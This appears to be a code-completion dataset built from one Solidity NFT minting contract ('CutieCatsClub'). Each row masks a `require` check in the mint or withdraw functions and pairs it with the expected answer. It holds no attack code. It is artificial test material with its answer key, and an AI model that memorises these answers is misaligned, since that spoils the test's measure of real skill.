//--------------------- Set & Change anythings
function setMintPrice (uint256 newPrice) public onlyOwner {
}
function setCollectionSize (uint256 newCollectionSize) public onlyOwner {
}
function setMaxWlRound (uint256 newMaxWlRound) public onlyOwner {
}
function setMaxPerAddress (uint256 newMaxPerAddress) public onlyOwner {
}
function setMaxPerWhitelist (uint256 newMaxPerWhitelist ) public onlyOwner {
}
function setMaxPerAllowlist (uint256 newMaxPerAllowlist ) public onlyOwner {
}
function setWLRoot (bytes32 newWLRoot) public onlyOwner {
}
function setALRoot (bytes32 newALRoot) public onlyOwner {
}
function setPhase (uint256 newPhase) public onlyOwner {
}
//--------------------- END Set & Change anythings
//--------------------------------------- Mint
//-------------------- PublicMint
function publicMint(uint256 _mintAmount) external payable callerIsUser {
require(mintPhase == 5, "public sale hasn't begun yet");
require(totalSupply() + _mintAmount <= collectionSize_ , "reached max supply"); // must less than collction size
require(<FILL_ME>) // check max mint PerAddress ?
require(msg.value >= mintPrice * _mintAmount, "ETH amount is not sufficient");
_safeMint(msg.sender, _mintAmount);
}
function numberMinted(address owner) public view returns (uint256) {
}
//-------------------- END PublicMint
//-------------------- DevMint
function devMint(address _to ,uint256 _mintAmount) external onlyOwner {
}
//-------------------- END DevMint
//-------------------- WhitelistMint
function mintWhiteList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END WhitelistMint
//-------------------- AllowlistMint
function mintAllowList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidAL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END AllowlistMint
//--------------------------------------------- END Mint
//------------------------- Withdraw Money
address private wallet1 = 0xb4Eb727F3420005955045ACE103E3B260645DEE3; // K.Pim
address private wallet2 = 0x8D5532c04f37A60F6E60b5F28D72b4E9013F938C; // K.Chris
address private wallet3 = 0x031633884306abAF5d5003Ca5A631Aec9Ef258AA; // K.Kung
address private wallet4 = 0xf9265783c26866FBC183a8dEB8F891C3c1cEF16b; // VAULT
function withdrawMoney() external payable nonReentrant {
}
//------------------------- END Withdraw Money
//-------------------- START Fallback Receive Ether Function
receive() external payable {
}
//-------------------- END Fallback Receive Ether Function
}
| numberMinted(msg.sender)+_mintAmount<=maxPerPublic,"can not mint this many" | 153,545 | numberMinted(msg.sender)+_mintAmount<=maxPerPublic |
"You're not whitelist." | // SPDX-License-Identifier: MIT
// Create by 0xChrisx
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract CutieCatsClub is Ownable, ERC721A, ReentrancyGuard {
event Received(address, uint);
uint256 public mintPhase ;
uint256 public mintPrice = 0 ether;
uint256 public collectionSize_ = 999 ;
uint256 public maxWlRound = 925 ;
uint256 public maxPerPublic = 5;
uint256 public maxPerWhitelist = 2;
uint256 public maxPerAllowlist = 2;
bytes32 public WLroot ;
bytes32 public ALroot ;
string private baseURI ;
constructor() ERC721A("CutieCatsClub", "CTC", maxPerPublic , collectionSize_ ) {
}
modifier callerIsUser() {
}
//------------------ BaseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
//--------------------- END BaseURI
//--------------------- Set & Change anythings
function setMintPrice (uint256 newPrice) public onlyOwner {
}
function setCollectionSize (uint256 newCollectionSize) public onlyOwner {
}
function setMaxWlRound (uint256 newMaxWlRound) public onlyOwner {
}
function setMaxPerAddress (uint256 newMaxPerAddress) public onlyOwner {
}
function setMaxPerWhitelist (uint256 newMaxPerWhitelist ) public onlyOwner {
}
function setMaxPerAllowlist (uint256 newMaxPerAllowlist ) public onlyOwner {
}
function setWLRoot (bytes32 newWLRoot) public onlyOwner {
}
function setALRoot (bytes32 newALRoot) public onlyOwner {
}
function setPhase (uint256 newPhase) public onlyOwner {
}
//--------------------- END Set & Change anythings
//--------------------------------------- Mint
//-------------------- PublicMint
function publicMint(uint256 _mintAmount) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
//-------------------- END PublicMint
//-------------------- DevMint
function devMint(address _to ,uint256 _mintAmount) external onlyOwner {
}
//-------------------- END DevMint
//-------------------- WhitelistMint
function mintWhiteList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
require(mintPhase == 1, "Whitelist round hasn't open yet");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
require(totalSupply() + _mintAmount <= maxWlRound , "Purchase would exceed max tokens");
require(numberMinted(msg.sender) + _mintAmount <= maxPerWhitelist, "Max per address for whitelist. Please try lower.");
require(mintPrice * _mintAmount <= msg.value, "Ether value sent is not correct");
_safeMint(msg.sender, _mintAmount);
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END WhitelistMint
//-------------------- AllowlistMint
function mintAllowList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidAL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END AllowlistMint
//--------------------------------------------- END Mint
//------------------------- Withdraw Money
address private wallet1 = 0xb4Eb727F3420005955045ACE103E3B260645DEE3; // K.Pim
address private wallet2 = 0x8D5532c04f37A60F6E60b5F28D72b4E9013F938C; // K.Chris
address private wallet3 = 0x031633884306abAF5d5003Ca5A631Aec9Ef258AA; // K.Kung
address private wallet4 = 0xf9265783c26866FBC183a8dEB8F891C3c1cEF16b; // VAULT
function withdrawMoney() external payable nonReentrant {
}
//------------------------- END Withdraw Money
//-------------------- START Fallback Receive Ether Function
receive() external payable {
}
//-------------------- END Fallback Receive Ether Function
}
| MerkleProof.verify(_Proof,WLroot,leaf),"You're not whitelist." | 153,545 | MerkleProof.verify(_Proof,WLroot,leaf) |
"Purchase would exceed max tokens" | // SPDX-License-Identifier: MIT
// Create by 0xChrisx
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract CutieCatsClub is Ownable, ERC721A, ReentrancyGuard {
event Received(address, uint);
uint256 public mintPhase ;
uint256 public mintPrice = 0 ether;
uint256 public collectionSize_ = 999 ;
uint256 public maxWlRound = 925 ;
uint256 public maxPerPublic = 5;
uint256 public maxPerWhitelist = 2;
uint256 public maxPerAllowlist = 2;
bytes32 public WLroot ;
bytes32 public ALroot ;
string private baseURI ;
constructor() ERC721A("CutieCatsClub", "CTC", maxPerPublic , collectionSize_ ) {
}
modifier callerIsUser() {
}
//------------------ BaseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
//--------------------- END BaseURI
//--------------------- Set & Change anythings
function setMintPrice (uint256 newPrice) public onlyOwner {
}
function setCollectionSize (uint256 newCollectionSize) public onlyOwner {
}
function setMaxWlRound (uint256 newMaxWlRound) public onlyOwner {
}
function setMaxPerAddress (uint256 newMaxPerAddress) public onlyOwner {
}
function setMaxPerWhitelist (uint256 newMaxPerWhitelist ) public onlyOwner {
}
function setMaxPerAllowlist (uint256 newMaxPerAllowlist ) public onlyOwner {
}
function setWLRoot (bytes32 newWLRoot) public onlyOwner {
}
function setALRoot (bytes32 newALRoot) public onlyOwner {
}
function setPhase (uint256 newPhase) public onlyOwner {
}
//--------------------- END Set & Change anythings
//--------------------------------------- Mint
//-------------------- PublicMint
function publicMint(uint256 _mintAmount) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
//-------------------- END PublicMint
//-------------------- DevMint
function devMint(address _to ,uint256 _mintAmount) external onlyOwner {
}
//-------------------- END DevMint
//-------------------- WhitelistMint
function mintWhiteList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
require(mintPhase == 1, "Whitelist round hasn't open yet");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_Proof, WLroot, leaf),
"You're not whitelist."
);
require(<FILL_ME>)
require(numberMinted(msg.sender) + _mintAmount <= maxPerWhitelist, "Max per address for whitelist. Please try lower.");
require(mintPrice * _mintAmount <= msg.value, "Ether value sent is not correct");
_safeMint(msg.sender, _mintAmount);
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END WhitelistMint
//-------------------- AllowlistMint
function mintAllowList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidAL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END AllowlistMint
//--------------------------------------------- END Mint
//------------------------- Withdraw Money
address private wallet1 = 0xb4Eb727F3420005955045ACE103E3B260645DEE3; // K.Pim
address private wallet2 = 0x8D5532c04f37A60F6E60b5F28D72b4E9013F938C; // K.Chris
address private wallet3 = 0x031633884306abAF5d5003Ca5A631Aec9Ef258AA; // K.Kung
address private wallet4 = 0xf9265783c26866FBC183a8dEB8F891C3c1cEF16b; // VAULT
function withdrawMoney() external payable nonReentrant {
}
//------------------------- END Withdraw Money
//-------------------- START Fallback Receive Ether Function
receive() external payable {
}
//-------------------- END Fallback Receive Ether Function
}
| totalSupply()+_mintAmount<=maxWlRound,"Purchase would exceed max tokens" | 153,545 | totalSupply()+_mintAmount<=maxWlRound |
"Max per address for whitelist. Please try lower." | // SPDX-License-Identifier: MIT
// Create by 0xChrisx
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract CutieCatsClub is Ownable, ERC721A, ReentrancyGuard {
event Received(address, uint);
uint256 public mintPhase ;
uint256 public mintPrice = 0 ether;
uint256 public collectionSize_ = 999 ;
uint256 public maxWlRound = 925 ;
uint256 public maxPerPublic = 5;
uint256 public maxPerWhitelist = 2;
uint256 public maxPerAllowlist = 2;
bytes32 public WLroot ;
bytes32 public ALroot ;
string private baseURI ;
constructor() ERC721A("CutieCatsClub", "CTC", maxPerPublic , collectionSize_ ) {
}
modifier callerIsUser() {
}
//------------------ BaseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
//--------------------- END BaseURI
//--------------------- Set & Change anythings
function setMintPrice (uint256 newPrice) public onlyOwner {
}
function setCollectionSize (uint256 newCollectionSize) public onlyOwner {
}
function setMaxWlRound (uint256 newMaxWlRound) public onlyOwner {
}
function setMaxPerAddress (uint256 newMaxPerAddress) public onlyOwner {
}
function setMaxPerWhitelist (uint256 newMaxPerWhitelist ) public onlyOwner {
}
function setMaxPerAllowlist (uint256 newMaxPerAllowlist ) public onlyOwner {
}
function setWLRoot (bytes32 newWLRoot) public onlyOwner {
}
function setALRoot (bytes32 newALRoot) public onlyOwner {
}
function setPhase (uint256 newPhase) public onlyOwner {
}
//--------------------- END Set & Change anythings
//--------------------------------------- Mint
//-------------------- PublicMint
function publicMint(uint256 _mintAmount) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
//-------------------- END PublicMint
//-------------------- DevMint
function devMint(address _to ,uint256 _mintAmount) external onlyOwner {
}
//-------------------- END DevMint
//-------------------- WhitelistMint
function mintWhiteList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
require(mintPhase == 1, "Whitelist round hasn't open yet");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_Proof, WLroot, leaf),
"You're not whitelist."
);
require(totalSupply() + _mintAmount <= maxWlRound , "Purchase would exceed max tokens");
require(<FILL_ME>)
require(mintPrice * _mintAmount <= msg.value, "Ether value sent is not correct");
_safeMint(msg.sender, _mintAmount);
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END WhitelistMint
//-------------------- AllowlistMint
function mintAllowList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidAL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END AllowlistMint
//--------------------------------------------- END Mint
//------------------------- Withdraw Money
address private wallet1 = 0xb4Eb727F3420005955045ACE103E3B260645DEE3; // K.Pim
address private wallet2 = 0x8D5532c04f37A60F6E60b5F28D72b4E9013F938C; // K.Chris
address private wallet3 = 0x031633884306abAF5d5003Ca5A631Aec9Ef258AA; // K.Kung
address private wallet4 = 0xf9265783c26866FBC183a8dEB8F891C3c1cEF16b; // VAULT
function withdrawMoney() external payable nonReentrant {
}
//------------------------- END Withdraw Money
//-------------------- START Fallback Receive Ether Function
receive() external payable {
}
//-------------------- END Fallback Receive Ether Function
}
| numberMinted(msg.sender)+_mintAmount<=maxPerWhitelist,"Max per address for whitelist. Please try lower." | 153,545 | numberMinted(msg.sender)+_mintAmount<=maxPerWhitelist |
"Ether value sent is not correct" | // SPDX-License-Identifier: MIT
// Create by 0xChrisx
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract CutieCatsClub is Ownable, ERC721A, ReentrancyGuard {
event Received(address, uint);
uint256 public mintPhase ;
uint256 public mintPrice = 0 ether;
uint256 public collectionSize_ = 999 ;
uint256 public maxWlRound = 925 ;
uint256 public maxPerPublic = 5;
uint256 public maxPerWhitelist = 2;
uint256 public maxPerAllowlist = 2;
bytes32 public WLroot ;
bytes32 public ALroot ;
string private baseURI ;
constructor() ERC721A("CutieCatsClub", "CTC", maxPerPublic , collectionSize_ ) {
}
modifier callerIsUser() {
}
//------------------ BaseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
//--------------------- END BaseURI
//--------------------- Set & Change anythings
function setMintPrice (uint256 newPrice) public onlyOwner {
}
function setCollectionSize (uint256 newCollectionSize) public onlyOwner {
}
function setMaxWlRound (uint256 newMaxWlRound) public onlyOwner {
}
function setMaxPerAddress (uint256 newMaxPerAddress) public onlyOwner {
}
function setMaxPerWhitelist (uint256 newMaxPerWhitelist ) public onlyOwner {
}
function setMaxPerAllowlist (uint256 newMaxPerAllowlist ) public onlyOwner {
}
function setWLRoot (bytes32 newWLRoot) public onlyOwner {
}
function setALRoot (bytes32 newALRoot) public onlyOwner {
}
function setPhase (uint256 newPhase) public onlyOwner {
}
//--------------------- END Set & Change anythings
//--------------------------------------- Mint
//-------------------- PublicMint
function publicMint(uint256 _mintAmount) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
//-------------------- END PublicMint
//-------------------- DevMint
function devMint(address _to ,uint256 _mintAmount) external onlyOwner {
}
//-------------------- END DevMint
//-------------------- WhitelistMint
function mintWhiteList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
require(mintPhase == 1, "Whitelist round hasn't open yet");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_Proof, WLroot, leaf),
"You're not whitelist."
);
require(totalSupply() + _mintAmount <= maxWlRound , "Purchase would exceed max tokens");
require(numberMinted(msg.sender) + _mintAmount <= maxPerWhitelist, "Max per address for whitelist. Please try lower.");
require(<FILL_ME>)
_safeMint(msg.sender, _mintAmount);
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END WhitelistMint
//-------------------- AllowlistMint
function mintAllowList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidAL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END AllowlistMint
//--------------------------------------------- END Mint
//------------------------- Withdraw Money
address private wallet1 = 0xb4Eb727F3420005955045ACE103E3B260645DEE3; // K.Pim
address private wallet2 = 0x8D5532c04f37A60F6E60b5F28D72b4E9013F938C; // K.Chris
address private wallet3 = 0x031633884306abAF5d5003Ca5A631Aec9Ef258AA; // K.Kung
address private wallet4 = 0xf9265783c26866FBC183a8dEB8F891C3c1cEF16b; // VAULT
function withdrawMoney() external payable nonReentrant {
}
//------------------------- END Withdraw Money
//-------------------- START Fallback Receive Ether Function
receive() external payable {
}
//-------------------- END Fallback Receive Ether Function
}
| mintPrice*_mintAmount<=msg.value,"Ether value sent is not correct" | 153,545 | mintPrice*_mintAmount<=msg.value |
"You're not Allowlist" | // SPDX-License-Identifier: MIT
// Create by 0xChrisx
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract CutieCatsClub is Ownable, ERC721A, ReentrancyGuard {
event Received(address, uint);
uint256 public mintPhase ;
uint256 public mintPrice = 0 ether;
uint256 public collectionSize_ = 999 ;
uint256 public maxWlRound = 925 ;
uint256 public maxPerPublic = 5;
uint256 public maxPerWhitelist = 2;
uint256 public maxPerAllowlist = 2;
bytes32 public WLroot ;
bytes32 public ALroot ;
string private baseURI ;
constructor() ERC721A("CutieCatsClub", "CTC", maxPerPublic , collectionSize_ ) {
}
modifier callerIsUser() {
}
//------------------ BaseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
//--------------------- END BaseURI
//--------------------- Set & Change anythings
function setMintPrice (uint256 newPrice) public onlyOwner {
}
function setCollectionSize (uint256 newCollectionSize) public onlyOwner {
}
function setMaxWlRound (uint256 newMaxWlRound) public onlyOwner {
}
function setMaxPerAddress (uint256 newMaxPerAddress) public onlyOwner {
}
function setMaxPerWhitelist (uint256 newMaxPerWhitelist ) public onlyOwner {
}
function setMaxPerAllowlist (uint256 newMaxPerAllowlist ) public onlyOwner {
}
function setWLRoot (bytes32 newWLRoot) public onlyOwner {
}
function setALRoot (bytes32 newALRoot) public onlyOwner {
}
function setPhase (uint256 newPhase) public onlyOwner {
}
//--------------------- END Set & Change anythings
//--------------------------------------- Mint
//-------------------- PublicMint
function publicMint(uint256 _mintAmount) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
//-------------------- END PublicMint
//-------------------- DevMint
function devMint(address _to ,uint256 _mintAmount) external onlyOwner {
}
//-------------------- END DevMint
//-------------------- WhitelistMint
function mintWhiteList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END WhitelistMint
//-------------------- AllowlistMint
function mintAllowList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
require(mintPhase == 3, "Allowlist round hasn't open yet");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
require(totalSupply() + _mintAmount <= collectionSize_, "Purchase would exceed max tokens");
require(numberMinted(msg.sender) + _mintAmount <= maxPerAllowlist, "Max per address for allowlist. Please try lower.");
require(mintPrice * _mintAmount <= msg.value, "Ether value sent is not correct");
_safeMint(msg.sender, _mintAmount);
}
function isValidAL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END AllowlistMint
//--------------------------------------------- END Mint
//------------------------- Withdraw Money
address private wallet1 = 0xb4Eb727F3420005955045ACE103E3B260645DEE3; // K.Pim
address private wallet2 = 0x8D5532c04f37A60F6E60b5F28D72b4E9013F938C; // K.Chris
address private wallet3 = 0x031633884306abAF5d5003Ca5A631Aec9Ef258AA; // K.Kung
address private wallet4 = 0xf9265783c26866FBC183a8dEB8F891C3c1cEF16b; // VAULT
function withdrawMoney() external payable nonReentrant {
}
//------------------------- END Withdraw Money
//-------------------- START Fallback Receive Ether Function
receive() external payable {
}
//-------------------- END Fallback Receive Ether Function
}
| MerkleProof.verify(_Proof,ALroot,leaf),"You're not Allowlist" | 153,545 | MerkleProof.verify(_Proof,ALroot,leaf) |
"Max per address for allowlist. Please try lower." | // SPDX-License-Identifier: MIT
// Create by 0xChrisx
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract CutieCatsClub is Ownable, ERC721A, ReentrancyGuard {
event Received(address, uint);
uint256 public mintPhase ;
uint256 public mintPrice = 0 ether;
uint256 public collectionSize_ = 999 ;
uint256 public maxWlRound = 925 ;
uint256 public maxPerPublic = 5;
uint256 public maxPerWhitelist = 2;
uint256 public maxPerAllowlist = 2;
bytes32 public WLroot ;
bytes32 public ALroot ;
string private baseURI ;
constructor() ERC721A("CutieCatsClub", "CTC", maxPerPublic , collectionSize_ ) {
}
modifier callerIsUser() {
}
//------------------ BaseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
//--------------------- END BaseURI
//--------------------- Set & Change anythings
function setMintPrice (uint256 newPrice) public onlyOwner {
}
function setCollectionSize (uint256 newCollectionSize) public onlyOwner {
}
function setMaxWlRound (uint256 newMaxWlRound) public onlyOwner {
}
function setMaxPerAddress (uint256 newMaxPerAddress) public onlyOwner {
}
function setMaxPerWhitelist (uint256 newMaxPerWhitelist ) public onlyOwner {
}
function setMaxPerAllowlist (uint256 newMaxPerAllowlist ) public onlyOwner {
}
function setWLRoot (bytes32 newWLRoot) public onlyOwner {
}
function setALRoot (bytes32 newALRoot) public onlyOwner {
}
function setPhase (uint256 newPhase) public onlyOwner {
}
//--------------------- END Set & Change anythings
//--------------------------------------- Mint
//-------------------- PublicMint
function publicMint(uint256 _mintAmount) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
//-------------------- END PublicMint
//-------------------- DevMint
function devMint(address _to ,uint256 _mintAmount) external onlyOwner {
}
//-------------------- END DevMint
//-------------------- WhitelistMint
function mintWhiteList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END WhitelistMint
//-------------------- AllowlistMint
function mintAllowList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
require(mintPhase == 3, "Allowlist round hasn't open yet");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_Proof, ALroot, leaf),
"You're not Allowlist"
);
require(totalSupply() + _mintAmount <= collectionSize_, "Purchase would exceed max tokens");
require(<FILL_ME>)
require(mintPrice * _mintAmount <= msg.value, "Ether value sent is not correct");
_safeMint(msg.sender, _mintAmount);
}
function isValidAL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END AllowlistMint
//--------------------------------------------- END Mint
//------------------------- Withdraw Money
address private wallet1 = 0xb4Eb727F3420005955045ACE103E3B260645DEE3; // K.Pim
address private wallet2 = 0x8D5532c04f37A60F6E60b5F28D72b4E9013F938C; // K.Chris
address private wallet3 = 0x031633884306abAF5d5003Ca5A631Aec9Ef258AA; // K.Kung
address private wallet4 = 0xf9265783c26866FBC183a8dEB8F891C3c1cEF16b; // VAULT
function withdrawMoney() external payable nonReentrant {
}
//------------------------- END Withdraw Money
//-------------------- START Fallback Receive Ether Function
receive() external payable {
}
//-------------------- END Fallback Receive Ether Function
}
| numberMinted(msg.sender)+_mintAmount<=maxPerAllowlist,"Max per address for allowlist. Please try lower." | 153,545 | numberMinted(msg.sender)+_mintAmount<=maxPerAllowlist |
null | // SPDX-License-Identifier: MIT
// Create by 0xChrisx
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract CutieCatsClub is Ownable, ERC721A, ReentrancyGuard {
event Received(address, uint);
uint256 public mintPhase ;
uint256 public mintPrice = 0 ether;
uint256 public collectionSize_ = 999 ;
uint256 public maxWlRound = 925 ;
uint256 public maxPerPublic = 5;
uint256 public maxPerWhitelist = 2;
uint256 public maxPerAllowlist = 2;
bytes32 public WLroot ;
bytes32 public ALroot ;
string private baseURI ;
constructor() ERC721A("CutieCatsClub", "CTC", maxPerPublic , collectionSize_ ) {
}
modifier callerIsUser() {
}
//------------------ BaseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
//--------------------- END BaseURI
//--------------------- Set & Change anythings
function setMintPrice (uint256 newPrice) public onlyOwner {
}
function setCollectionSize (uint256 newCollectionSize) public onlyOwner {
}
function setMaxWlRound (uint256 newMaxWlRound) public onlyOwner {
}
function setMaxPerAddress (uint256 newMaxPerAddress) public onlyOwner {
}
function setMaxPerWhitelist (uint256 newMaxPerWhitelist ) public onlyOwner {
}
function setMaxPerAllowlist (uint256 newMaxPerAllowlist ) public onlyOwner {
}
function setWLRoot (bytes32 newWLRoot) public onlyOwner {
}
function setALRoot (bytes32 newALRoot) public onlyOwner {
}
function setPhase (uint256 newPhase) public onlyOwner {
}
//--------------------- END Set & Change anythings
//--------------------------------------- Mint
//-------------------- PublicMint
function publicMint(uint256 _mintAmount) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
//-------------------- END PublicMint
//-------------------- DevMint
function devMint(address _to ,uint256 _mintAmount) external onlyOwner {
}
//-------------------- END DevMint
//-------------------- WhitelistMint
function mintWhiteList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END WhitelistMint
//-------------------- AllowlistMint
function mintAllowList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidAL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END AllowlistMint
//--------------------------------------------- END Mint
//------------------------- Withdraw Money
address private wallet1 = 0xb4Eb727F3420005955045ACE103E3B260645DEE3; // K.Pim
address private wallet2 = 0x8D5532c04f37A60F6E60b5F28D72b4E9013F938C; // K.Chris
address private wallet3 = 0x031633884306abAF5d5003Ca5A631Aec9Ef258AA; // K.Kung
address private wallet4 = 0xf9265783c26866FBC183a8dEB8F891C3c1cEF16b; // VAULT
function withdrawMoney() external payable nonReentrant {
uint256 _paytoW1 = address(this).balance*37/100 ; // K.pim
uint256 _paytoW2 = address(this).balance*27/100 ; // K.Chris
uint256 _paytoW3 = address(this).balance*27/100 ; // K.Kung
uint256 _paytoW4 = address(this).balance*9/100 ; // VAULT
require(address(this).balance > 0, "No ETH left");
require(<FILL_ME>)
require(payable(wallet2).send(_paytoW2));
require(payable(wallet3).send(_paytoW3));
require(payable(wallet4).send(_paytoW4));
}
//------------------------- END Withdraw Money
//-------------------- START Fallback Receive Ether Function
receive() external payable {
}
//-------------------- END Fallback Receive Ether Function
}
| payable(wallet1).send(_paytoW1) | 153,545 | payable(wallet1).send(_paytoW1) |
null | // SPDX-License-Identifier: MIT
// Create by 0xChrisx
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract CutieCatsClub is Ownable, ERC721A, ReentrancyGuard {
event Received(address, uint);
uint256 public mintPhase ;
uint256 public mintPrice = 0 ether;
uint256 public collectionSize_ = 999 ;
uint256 public maxWlRound = 925 ;
uint256 public maxPerPublic = 5;
uint256 public maxPerWhitelist = 2;
uint256 public maxPerAllowlist = 2;
bytes32 public WLroot ;
bytes32 public ALroot ;
string private baseURI ;
constructor() ERC721A("CutieCatsClub", "CTC", maxPerPublic , collectionSize_ ) {
}
modifier callerIsUser() {
}
//------------------ BaseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
//--------------------- END BaseURI
//--------------------- Set & Change anythings
function setMintPrice (uint256 newPrice) public onlyOwner {
}
function setCollectionSize (uint256 newCollectionSize) public onlyOwner {
}
function setMaxWlRound (uint256 newMaxWlRound) public onlyOwner {
}
function setMaxPerAddress (uint256 newMaxPerAddress) public onlyOwner {
}
function setMaxPerWhitelist (uint256 newMaxPerWhitelist ) public onlyOwner {
}
function setMaxPerAllowlist (uint256 newMaxPerAllowlist ) public onlyOwner {
}
function setWLRoot (bytes32 newWLRoot) public onlyOwner {
}
function setALRoot (bytes32 newALRoot) public onlyOwner {
}
function setPhase (uint256 newPhase) public onlyOwner {
}
//--------------------- END Set & Change anythings
//--------------------------------------- Mint
//-------------------- PublicMint
function publicMint(uint256 _mintAmount) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
//-------------------- END PublicMint
//-------------------- DevMint
function devMint(address _to ,uint256 _mintAmount) external onlyOwner {
}
//-------------------- END DevMint
//-------------------- WhitelistMint
function mintWhiteList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END WhitelistMint
//-------------------- AllowlistMint
function mintAllowList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidAL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END AllowlistMint
//--------------------------------------------- END Mint
//------------------------- Withdraw Money
address private wallet1 = 0xb4Eb727F3420005955045ACE103E3B260645DEE3; // K.Pim
address private wallet2 = 0x8D5532c04f37A60F6E60b5F28D72b4E9013F938C; // K.Chris
address private wallet3 = 0x031633884306abAF5d5003Ca5A631Aec9Ef258AA; // K.Kung
address private wallet4 = 0xf9265783c26866FBC183a8dEB8F891C3c1cEF16b; // VAULT
function withdrawMoney() external payable nonReentrant {
uint256 _paytoW1 = address(this).balance*37/100 ; // K.pim
uint256 _paytoW2 = address(this).balance*27/100 ; // K.Chris
uint256 _paytoW3 = address(this).balance*27/100 ; // K.Kung
uint256 _paytoW4 = address(this).balance*9/100 ; // VAULT
require(address(this).balance > 0, "No ETH left");
require(payable(wallet1).send(_paytoW1));
require(<FILL_ME>)
require(payable(wallet3).send(_paytoW3));
require(payable(wallet4).send(_paytoW4));
}
//------------------------- END Withdraw Money
//-------------------- START Fallback Receive Ether Function
receive() external payable {
}
